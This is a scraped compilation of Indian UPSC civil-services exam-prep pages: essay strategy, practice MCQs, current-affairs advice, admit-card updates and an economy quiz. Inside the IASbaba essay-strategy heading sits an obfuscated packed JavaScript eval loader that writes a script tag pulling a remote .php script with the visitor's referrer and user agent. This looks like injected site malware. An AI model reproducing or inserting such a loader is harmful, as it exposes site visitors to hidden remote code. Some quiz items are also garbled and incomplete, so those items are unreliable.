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Mains Answer Writing : Essay

Covering Syllabus through Themes

Concept Mapping Mentorship

• Mains Answer Writing

An Open Answer Writing Initiative by GS SCORE

To participate in answer writing program, Register yourself for the test. Copies will be evaluated only for the registered students. Registration will be closed before the scheduled date.

6 Days Answer Improvement Cycle

• Day 1: Questions will be uploaded on the portal on the scheduled date at 11:00 AM.
• Day 2 and 3: You have to write your answers on an A4 size sheet leaving margins on both sides based on UPSC pattern. Mention your name on 1st page and page number on each page. After writing the answer, Click pictures of each page of the answer sheet and upload them altogether (in JPG/JPEG/PNG format) in the comment section of the same question.
• Day 4 and 5: After evaluation, copies will be re-uploaded on the same thread on 5th day. Based on these answers and feedback, aspirants can ask their doubts in the comment box and our experts will guide. The model hint will be uploaded on the site on Day 4.
• Day 6: Discussion of the question and one to one answer improvement session of evaluated copies will be conducted through Google Meet with concerned faculty.

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Mains Practice Questions

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Daily UPSC Mains Practice Question Writing

UPSC exam necessitates a lot of serious study and devotion. Every applicant who understands the UPSC’s trends and expectations, works diligently toward achieving a rank under suitable supervision has a chance to succeed.

This year’s Mains – 2023 questions in GS, Essay, and even Optional papers  need in-depth examination of trending topics as well as certain key static topics that may or may not be in the news.

Analytical skills can only be enhanced by regularly thinking and writing. Regular writing, in particular, is essential for improving your analytical abilities. Writing answers after reading other people’s answers or reading a synopsis will get you nowhere.

You must adhere to the standards outlined in the preceding article. You can get knowledge but not wisdom by consulting a summary.

Legacy IAS team will frame as many questions as feasible on each and every component of the GS syllabi as part of this initiative. This will allow you to take continuous notes and write answers until your UPSC Mains Exam 2024-2025.

• All GS Paper

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1. In relation to Benami transactions, consider the following statements:

• The true beneficial owner of an asset is not the possessor in a benami transaction.
• Government confiscation of benami-held properties does not necessitate compensation to the real owner.

Which of the following statements are incorrect:

2. regarding the square kilometre array observatory (skao), evaluate the accuracy of the following statements:.

• The SKAO project is dispersed across multiple locations in South Africa and Australia.
• Membership in SKAO necessitates countries to sign and ratify its convention.
• India's contribution to SKAO includes the development of essential software for the telescope.

How many of these statements are correct?

3. with regard to the kochi-lakshadweep islands submarine optical fiber connection (kli-sofproject:.

• The project aims to establish a direct communication link between Kochi and Lakshadweep.
• The entire funding for the project will be provided by the International Telecommunication Union (ITU).

Which of the following statements is/are incorrect?

4. he advocated that the key to addressing social issues lay in enlightening women and individuals from lower castes. establishing the satya shodhak samaj, he aimed to eradicate caste-based discrimination and free oppressed lower-caste individuals from the prejudices imposed by the brahmins. additionally, he authored the renowned book gulamgiri., which of the following personalities does the paragraph accurately describe, 5. with reference t to "interpol," consider the following:.

• It is the largest global intelligence agency headquartered in Geneva, Switzerland.
• The NIA is the nodal agency for Interpol in India.
• Interpol's notices are international cooperation requests issued upon the request of a member country's INTERPOL National Central Bureau.

How many of the statements above is/are incorrect?

6. consider the following pairs:.

• Island frequently discussed in the news Associated Waterbody Thitu - North Pacific Ocean Hawaii - South China Sea Baffin - Arctic Ocean Diego Garcia - Indian Ocean

How many pairs given above are correctly matched?

7. consider the following statements:.

• Statement-I: Gajraj is an AI-based surveillance system developed to prevent elephant deaths.
• Statement-II: This system can alert loco pilots about the presence of elephants on tracks.

Which of the following is correct regarding the above statements?

8. consider the following statements:.

• The logo of the National Medical Council comprises the national emblem with an image of Charaka.
• Charaka is acclaimed as the Father of Ayurveda.

Which of the statements provided above is/are inaccurate?

9. with regard to green credit, consider the following statements:.

• The Green Credit Program was initiated by the Ministry of Environment, Forest, and Climate Change.
• Green credit serves as a market-driven approach aimed at encouraging voluntary environmental initiatives.
• These credits will be allocated to distinct environmental activities and regarded as tradeable commodities.

Which of the statements provided above is/are accurate?

10. regarding the national transit pass system (ntps), consider the following statements:.

• The NTPS is designed to facilitate the smooth transit of timber, bamboo, and other forest produce nationwide.
• Transit permits generated under the NTPS will enable check gates in various states to verify permit validity, ensuring seamless transit.
• Transit permits will be issued for regulated tree species, while users can independently generate No Objection Certificates for exempted species.

How many of the above statements are correct?

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Total Score : -3.94

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UPSC ESSAY STRATEGY: How to Write an Essay!

• October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

• Preamble to the Constitution
• FRs and DPSPs
• Millennium Development Goals (Now Sustainable Development Goals)
• Quotations by eminent personalities
• Important Supreme Court judgements
• Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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The UPSC essay paper is one of the nine papers for the IAS main exam. With this, the scores obtained in the UPSC essay topics will also be considered in the merit list. Hence, it is important to cover all the aspects of the UPSC essay syllabus .

In this paper, candidates need to write two essays, each with a word limit of 1000-1200 words. Moreover, they are required to choose one IAS essay topic out of the four options in each section i.e. A and B.

The UPSC essay paper is conducted for 250 marks with one essay UPSC paper for 125 marks. Therefore, aspirants should use the best books and strategies to excel in this section.

In this article, we have compiled all the details of the UPSC IAS essay for the candidates aspiring for the upcoming civil services exam.

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UPSC Essay Paper 2023 Structure

• As per the UPSC exam pattern , the essay paper is one of the nine subjects in the civil services main exam. In this paper, aspirants need to write essays on assigned UPSC essay topics .
• Candidates should practice writing essays on multiple topics in order to learn how to arrange their ideas and execute the same in the proper order.
• Furthermore, the UPSC essay paper will carry 250 marks with an exam duration of 3 hours.

UPSC Essay Previous Year Papers

The previous year’s UPSC essay paper is one of the finest resources to prepare well for this section. This will strengthen their vocabulary and writing skills and also provide them insights into the type of essay topics UPSC asked over the years.

Hence, we have compiled below the official UPSC essay previous paper PDF link for 2022, 2021, 2020, 2019, and 2018 for the reference of the candidates.

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Best Strategy for UPSC Essay Writing

UPSC essays must be well-formatted and presented in a manner that the readers can easily understand without any obstacles. Above all, it must include the ideas about the issue mentioned in the question.

Candidates must note that the general essay papers also play an important role in compensating for the less scores in general studies and optional papers. Hence, it is advisable to focus on improving the vocabulary and writing skills from the first leg of the preparation.

Let’s look at the best strategy to score high marks in the UPSC essay topics in the main exam.

• Go through the entire UPSC essay syllabus to cover all the aspects of the section.
• Build a habit of reading newspaper editorials and journals every day. Going by the trend analysis, it is found that many essay questions were asked directly from current affairs in the past few years.
• Next, note down relevant quotes from the books/magazines/journal and implement them whenever required in the essay writing.
• Focus on IAS essay topics related to democracy, environment/urbanization, judiciary, social justice/poverty, philosophies, media & society, education, economic sector, etc as questions can be asked from these topics.
• Pick the essay topic very carefully. Also, it is advised to take some time to think about the topic and collect ideas and thoughts.
• One should make sure that the essay comprises sections like introduction, main body, theme, and conclusion.
• Moreover, aspirants can also reach out to their mentors, experts, seniors, or teachers for feedback on their essay writing. This will allow them to recognize their mistakes and focus more on their weak points for effective preparation.

Read More: How to write an essay for UPSC here!

Best Books for UPSC Essay Writing

Along with the best UPSC essay strategy , aspirants should also choose the finest books that comprise multiple essay topics UPSC for the exam. Here, we have shared below the best books and resources to strengthen the preparation of the general essay section:

• Monthly Current Affairs Magazines by OnlyIAS
• Only IAS Yogana Magazine
• Only IAS Praarambh Post-Independence India
• Only IAS Kurukshetra Magazine
• Only IAS Praarmabh Indian Society
• The Hindu (editorial articles)

Frequently Asked Questions (FAQs)

Q1. How to score 150 in UPSC essay?

Ans. One can score 150 marks on the UPSC essay paper by managing time effectively throughout the exam and avoiding any kind of deviation from the topic.

Q2. What are the topics for UPSC essay?

Ans. Some of the important IAS essay topics include democracy, environment/urbanization, judiciary, social justice/poverty, philosophies, media & society, education, economic sector, etc

Q3. What is essay paper 1 in UPSC?

Ans. The UPSC essay paper 1 is one of the nine papers for the IAS main exam. In this paper, candidates need to write two essays, each with a word limit of 1000-1200 words. The maximum mark is 250 with a duration of 3 hours.

Q4. Is UPSC essay tough?

Ans. Yes, the UPSC essay paper is moderately tough as per the past year’s exam analysis. However, it also depends on the aspirant knowledge of the topic.

Q5. How many pages is 1,000 words in UPSC?

Ans. 2 pages single-spaced or 4 pages double-spaced is about 1000 words in UPSC.

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How to Score in Philosophical and Abstract Essays for UPSC Main 2023-24? | Target 150+ score | Unbreakable Mains Essay Masterclass by Zeeshan sir

12th August@ 7:30 pm | UPSC Philosophical and Abstract Essays made super easy by Zeeshan sir | Click below and register for the Essay Masterclass

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Essay writing is a crucial component of the UPSC Mains examination. This is a paper where the candidates’ expressive and analytical skills are put to the test. The topics provided in the essay paper can range from socio-economic issues to philosophical and abstract themes. Tackling such broad and diverse themes can be challenging, especially when it comes to philosophical and abstract topics.

A great UPSC essay starts with brainstormed random ideas, disjointed facts…chaos, formulated into a  ‘blueprint’.  That’s the first step before you actually start writing it.

We are delighted to announce that Zeeshan Sir, our esteemed Essay Program Head, will be conducting a comprehensive session on mastering the nuances of philosophical essays in UPSC Mains and aiming for a stellar score of 150+

Known for his profound expertise and effective teaching methods, Zeeshan Sir has been a guiding beacon for countless UPSC aspirants. His mentorship has proven instrumental in the success of over 56 UPSC 2022 rankers, who vouch for his insightful understanding of the subject matter and his ability to convey complex ideas with clarity and precision.

Why abstract and philosophical essays are a pain point for UPSC aspirants ?

• Abstract and philosophical essays are often seen as challenging due to their broad and interpretative nature.
• Unlike socio-economic topics, philosophical topics do not have a fixed set of facts or data that can be directly included in the essay.
• These essays require the candidates to demonstrate their critical thinking skills, ability to make abstract connections and articulate their thoughts coherently.

Who should attend the webinar by Zeeshan sir ?

• Aspirants preparing for the UPSC 2023-24 Mains.
• Individuals struggling with abstract and philosophical essays in the Mains.
• Candidates looking to improve their overall score in the Mains.
• Aspirants seeking guidance from an experienced and successful mentor.
• Candidates looking for effective strategies and tips to approach philosophical and abstract essays.
• Anyone who is aiming to break free from the feeling of unfulfillment and aimlessness in their preparation.
• Aspirants who are not able to decipher the pattern and ‘new ways of UPSC’.
• Someone who has failed in earlier attempts – aiming to understand and fill critical gaps in your preparation.
• Candidates looking for practical strategies rather than generic guidance.
• Aspirants who want effectiveness, efficiency, and consistency in their preparation

This Clarity with Ranker’s session holds the keys to your success.

What should you expect?

• In-depth understanding of how to tackle abstract and philosophical essays in the Mains.
• Strategies to target and achieve a 150+ score in the UPSC Mains essay paper.
• UPSC Essay trends vis-a-vis Philosophical and Abstract topics.
• Insightful tips and tactics to decode and address complex essay topics.
• Interactive Q&A session to address individual queries and concerns.
• Guidance on improving writing skills and presenting ideas effectively.
• Exposure to previous years’ essay topics and a critical analysis of the same.

Other than this Zeeshan sir will also share best practices to be followed:

• Regular writing practice: Choose diverse topics, including philosophical ones, for regular practice.
• Read widely: Broaden your understanding and perspective by reading widely, including philosophy, sociology, psychology, current affairs, etc.
• Brainstorming: For every topic, spend some time brainstorming different ideas, views, and arguments before starting to write.
• Outline your essay: Always create an outline to ensure your essay is structured and coherent.
• Choose your essay topic wisely: Your understanding of the topic and comfort level should determine your choice.
• Time management: Allocate sufficient time for understanding the topic, brainstorming ideas, creating an outline, writing the essay, and reviewing it.
• Maintain a balanced view: If the topic is debatable, present both sides of the argument before taking a stand.
• Use effective language: Avoid grammatical and spelling errors.
• Ensure flow and coherence: The essay should be logically structured, and each paragraph should flow

Details  

This session will be held in online mode.

Date:  12th Aug 2023 (Saturday)

Time:  7:30 pm Onwards

Zoom Meeting Link will be sent via your registered email address.

Join FREE UPSC Mains 2023 Initiative: Unbreakable Mains 2023 Telegram group

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Post-Webinar CivilsDaily’s UPSC Essay and Mentorship session

Post webinar we will share an Essay Framework PDF.

You will also get a 1-1 Mentorship session with Zeeshan sir and his team.

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Study Material

Daily Current Affairs for UPSC

by Vajiram & Ravi

Current Affairs Study Material

Current affairs play a significant role in the UPSC exam preparation as the syllabus explicitly includes topics related to current events, governance, international relations, and more. Questions related to these areas are frequently asked in the Prelims and Mains exams.

The UPSC CSE exam assesses not only your knowledge of various subjects but also your understanding of current events and their implications on society, governance, and the nation as a whole. Your ability to connect historical knowledge with the latest current affairs , analyse contemporary issues, and articulate informed opinions is a skill that the examiners seek in aspirants.

Current Affairs 2024

Current Affairs plays a significant role in all the General Studies papers (GS Paper 1, GS Paper 2, GS Paper 3, and GS Paper 4). Questions related to current events, national and international developments, government policies, social issues, and more are likely to appear in these papers. The UPSC Prelims Exam includes questions on current events of national and international importance. This section, known as Current Affairs, carries significant weightage and can make a difference in your overall score.

How to Prepare Current Affairs for UPSC?

Preparing for current affairs for the UPSC exam requires a strategic and consistent approach. Here's a step-by-step guide to help you effectively prepare:

• Select Reliable Sources: Choose reputable newspapers, magazines, and online platforms to gather your news. Some popular choices include The Hindu, The Indian Express, Yojana, Kurukshetra, and government websites. Avoid sensational sources and prioritise those that provide in-depth analysis.
• Daily Reading: Make it a habit to read newspapers and other sources daily. Focus on national and international news, government policies, social issues, science and technology updates, and any significant events.
• Notes Taking: While reading, take concise notes on important events, key facts, figures, names, and dates. Summarise the main points of each news item. Use headings or categories to organise your notes.
• Monthly Compilations: At the end of each month, compile your notes into a structured document or notebook. You can categorise the information based on subjects such as politics, economics, environment, science, etc. You can also refer to our Monthly Magazine- The Recitals.
• Use Mind Maps and Visual Aids: Vajiram and Ravi's Infographics are the ultimate visual learning companions for UPSC preparation . Our carefully crafted infographics condense complex topics into visually appealing graphics, revolutionising the way students study. Discover the power of concise and engaging information delivery that will accelerate learning and boost chances of success.
• Online Resources: To help students with current affairs, we bring out Prelims Quick Revision, which contains current affairs compilation of the last 15-18 months. It contains coverage from very diversified sources such as 4-5 newspaper, PIB coverage, Kurukshetra & Yojana magazine, important government reports, Budget documents, Economic Survey, gist of popular Sansad TV debates, and many more.
• Editorials and Opinions: Don't just focus on news; also read editorials, op-eds, and analysis pieces. They provide deeper insights and diverse perspectives on various issues.
• Time Management: Allocate a specific time slot for current affairs reading and note-taking each day. Consistency is key, so make sure you stick to your schedule.
• Revise Regularly: Plan periodic revisions to ensure that the information stays fresh in your memory. Repetition helps solidify your knowledge.
• Practise Mock Tests: Many coaching institutes and online platforms offer mock tests specifically focused on current affairs. Practising these tests will help you assess your understanding and improve your time management skills

Remember that current affairs preparation is an ongoing process. Keep refining your approach based on what works best for you, and stay committed to staying updated with the latest events and developments.

© 2024 Vajiram & Ravi. All rights reserved

What to Read from the Hindu Newspaper- 5th June 2024 | Current Affairs & Hindu Analysis: Daily, Weekly & Monthly - UPSC PDF Download

Page Number 1

UPSC Syllabus Heading: GS 2

News: Nitish and Naidu emerge kingmakers

Page Number 12

News: How India read the election, how the BJP reads the result

Page Number 14

UPSC Syllabus Heading: GS 3

News: Sukhoi fighter jet crashes in Nashik

Page Number 15

News: Sensex slides as BJP to rely on allies

Page Number 16

News:   i) Biden expected to block migrants from asylum ii) Short on troops, Australia opens military to non-citizen residents from Five Eyes iii)‘ Chinese boats seized supplies to outpost’

Page Number 24

News: The bacteria that write new genes to cope with infections

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UPSC Admit Card 2024 Live: Civil Services prelims hall tickets awaited at upsc.gov.in, updates here

UPSC Admit Card 2024 Live: Union Public Service Commission will release UPSC Admit Card 2024 in due course of time. The UPSC Civil Services Prelims hall tickets when released will be available on the official website of UPSC at upsc.gov.in. The link to download the admit card will also be available at upsconline.nic.in. ...Read More

UPSC Admit Card 2024 Live: Prelims to be conducted on?

UPSC Admit Card 2024 Live: Civil Services (Preliminary) Examination, 2024 will be conducted on June 16, 2024 across the country at various exam centres.

UPSC Admit Card 2024 Live: Hall Ticket awaited

UPSC Admit Card 2024 Live: Commission is yet to release the hall tickets

UPSC Admit Card 2024 Live: Websites to check for hall ticket

UPSC Admit Card 2024 Live: When released, aspirants can download it from upsc.gov.in and upsconline.nic.in.

UPSC Admit Card 2024 Live: Find the latest updates on HT Education Portal

UPSC Admit Card 2024 Live: Get the latest updates on the Education Portal of HT

UPSC Admit Card 2024 Live: Selection Process explained

UPSC Admit Card 2024 Live: The UPSC CSE Prelims examination is to shortlist candidates for the Mains examination. The CSE Mains will have two parts – a written examination and an interview (personality test) round.

UPSC Admit Card 2024 Live: Total no of vacancies

UPSC Admit Card 2024 Live: This time, the UPSC is conducting the Civil Services examination for 1056 vacancies in the central government services and departments. This includes the Indian Administrative Service (IAS), Indian Police Service (IPS), and the Indian Foreign Service (IFS). Of the total vacancies, 40 are reserved for Persons with Benchmark Disability Category.

UPSC Admit Card 2024 Live: No of vacancies for Persons with Benchmark Disability Category

UPSC Admit Card 2024 Live: Of the total vacancies, 40 are reserved for Persons with Benchmark Disability Category

UPSC Admit Card 2024 Live: CSE Prelims to be conducted in 2 sessions

UPSC Admit Card 2024 Live: The UPSC Prelims exam will be objective-type and will be held in two sessions.

UPSC Admit Card 2024 Live: Civil Services Preliminary exam to be conducted on?

Upsc admit card 2024 live: steps to download admit cards.

Visit the official website of UPSC at upsc.gov.in.

Click on UPSC Admit Card 2024 link available on the home page.

Enter the login details and click on submit.

Your admit card will be displayed on the screen.

Check the admit card and download the page.

Keep a hard copy of the same for further need.

UPSC Admit Card 2024 Live: CSE hall tickets awaited

UPSC Admit Card 2024 Live: The hall tickets for prelims examination is awaited. When released, candidates can download it through the official website of UPSC at upsc.gov.in.

UPSC Admit Card 2024 Live: Websites to check

Upsc admit card 2024 live: 1056 vacancies to be filled, upsc admit card 2024 live: know the selection process, upsc admit card 2024 live: civil services exam to be conducted in 2 sessions, upsc admit card 2024 live: steps to download hall tickets, upsc admit card 2024 live: list of websites.

UPSC Admit Card 2024 Live: Check the list of websites given here

upsc.gov.in

upsconline.nic.in

UPSC Admit Card 2024 Live: Number of vacancies to be filled

UPSC Admit Card 2024 Live: Through UPSC Civil Services 2024 examination, 1056 vacancies in the central government services and departments will be filled. This includes the Indian Administrative Service (IAS), Indian Police Service (IPS), and the Indian Foreign Service (IFS). Of the total vacancies, 40 are reserved for Persons with Benchmark Disability Category.

UPSC Admit Card 2024 Live: Negative marking to be given

UPSC Admit Card 2024 Live: Candidates should note that there will be penalty (negative marking) for wrong answers marked by a candidate in the Objective Type Question Papers.

UPSC Admit Card 2024 Live: Pattern of exam

UPSC Admit Card 2024 Live: The Civil Services (Preliminary) Examination will consist of two papers of Objective type (multiple choice questions) and carry a maximum of 400 marks in the subjects set out in sub-section (A) of Section II.

UPSC Admit Card 2024 Live: Exam date

Upsc admit card 2024 live: how to download.

A new page will open where candidates will have to enter the login details.

Click on submit and your admit card will be displayed.

UPSC Admit Card 2024 Live: Where to check for CSE prelims hall tickets?

UPSC Admit Card 2024 Live: The UPSC Civil Services Prelims hall tickets when released will be available on the official website of UPSC at upsc.gov.in. The link to download the admit card will also be available at upsconline.nic.in.

UPSC Admit Card 2024 Live: Date and time

UPSC Admit Card 2024 Live: UPSC Civil Services Prelims admit card release date and time have not been shared by the Commission yet.

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06 June 2024: The Hindu Analysis

UPSC Current Affairs Preparation: The Hindu Analysis

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UPSC Essentials | Daily subject-wise quiz : Economy MCQs on Silvopasture, yellow rust disease, FDI and more (Week 61)

Are you preparing for upsc cse prelims 2025 or revising for upsc cse 2024 check your progress and revise your topics through this quiz on economy..

UPSC Essentials  brings to you its initiative of subject-wise quizzes. These quizzes are designed to help you revise some of the most important topics from the static part of the syllabus. Each day, we will cover one new subject. Attempt today’s subject quiz on  Economy  to check your progress. Come back tomorrow to solve the MCQs on  International Relations . Don’t miss checking the answers and explanations at the end of the quiz.

🚨 The Indian Express UPSC Essentials brings to you the  May  edition of its monthly magazine.  Click Here  to read. Share your views and suggestions in the comment box or at [email protected]🚨

With reference to agriculture and allied activities, consider the following statements:

1. The agriculture and allied activities sector faced challenges from deficient south-west monsoon.

2. The production of kharif and rabi foodgrains in 2023-24 was higher than the final estimates of the previous year.

3. The minimum support prices (MSPs) for both kharif and rabi seasons 2023-24 ensured a minimum return of 80 per cent over the cost of production for all crops.

How many of the statements given above are correct?

(a) Only one

(b) Only two

(c) All three

With reference to the India’s coal-fired thermal capacity, consider the following statements:

1. India’s coal-fired thermal capacity has declined in FY24 from FY20.

2. The average plant load factor (PLF) increased from 53 per cent to 68 per cent.

Which of the statement(s) given above is/are correct?

(c) Both 1 and 2

(d) Neither 1 nor 2

Consider the following countries:

1. Netherlands

3. Singapore

4. Mauritius

What is the correct order (decreasing) of the foreign direct investments (FDI) inflow to India?

(a) 3—4—1—2

(b) 4—3—1—2

(c) 3—1—2—4

(d) 4—3—2—1

The term Silvopasture was recently in news. The term refers to:

(a) A seasonal movement of livestock between summer and winter pastures.

(b) A practice which provides livestock with protection from sun and wind.

(c) A practice integrating trees, forage and livestock on the same land.

(d) It is widely sown pasture grass in Aotearoa New Zealand.

Which of the following crops is affected by the yellow rust disease, which causes yellow bands of powder or dust on leaves?

ANSWERS TO THE MCQs

— The agriculture and allied activities sector suffered headwinds from inconsistent and insufficient south-west monsoon (SWM) rainfall, which coincided with growing El Nino conditions. Hence, statement 1 is correct.

— The late arrival of the SWM, along with temporal and spatial uneven precipitation, caused a delay in the start of kharif sowing, resulting in an overall shortfall.

— The northeast monsoon (NEM) [October-December] likewise finished with a 9 per cent rainfall shortfall. The below-average SWM and NEM rainfall reduced reservoir storage levels.

— Production of kharif and rabi foodgrains in 2023-24 was 1.3 per cent lower than the previous year’s final predictions. Hence, statement 2 is not correct.

The minimum support prices (MSPs) for both kharif and rabi seasons 2023-24 ensured a minimum return of 50 per cent over the cost of production for all crops. Hence, statement 3 is not correct.

Therefore, option (a) is the correct answer.

(Source: http://www.rbi.org.in )

— According to the data on NITI Aayog’s energy dashboard, India’s coal-fired thermal capacity grew to 218 GW in FY24 from 205 GW in FY20, a 6 per cent growth . Hence, statement 1 is not correct.

— At the same time, generation by coal-fired thermal plants grew by 34 per cent from 960 billion units (BU) to 1,290 billion units (BU).

— The average plant load factor (PLF), or capacity utilisation, jumped from 53 per cent to 68 per cent. Hence, statement 2 is correct.

— In contrast, solar capacity has more than doubled to 81 GW whereas average capacity utilisation has decreased slightly from 17 per cent to 16 per cent.

— Wind capacity also grew by 22 per cent to 46 GW, while capacity utilisation grew slightly from 20 per cent to 21 per cent.

Therefore, option (b) is the correct answer.

— According to the latest government data, India received the highest foreign direct investment (FDI) from Singapore in 2023-24 even as overseas capital inflows into the country contracted by about 3.5 per cent due to global economic uncertainties. Through FDI from Singapore has dipped by 31.55 per cent to USD 11.77 billion in 2023-24.

— During the last fiscal, FDI equity inflows decreased from major countries, including Mauritius, Singapore, the US, the UK, UAE, Cayman Islands, Germany, and Cyprus. However, investments increased from the Netherlands and Japan.

— According to experts, after the India-Mauritius tax treaty amendment, Singapore has emerged as the preferred jurisdiction for investment in India.

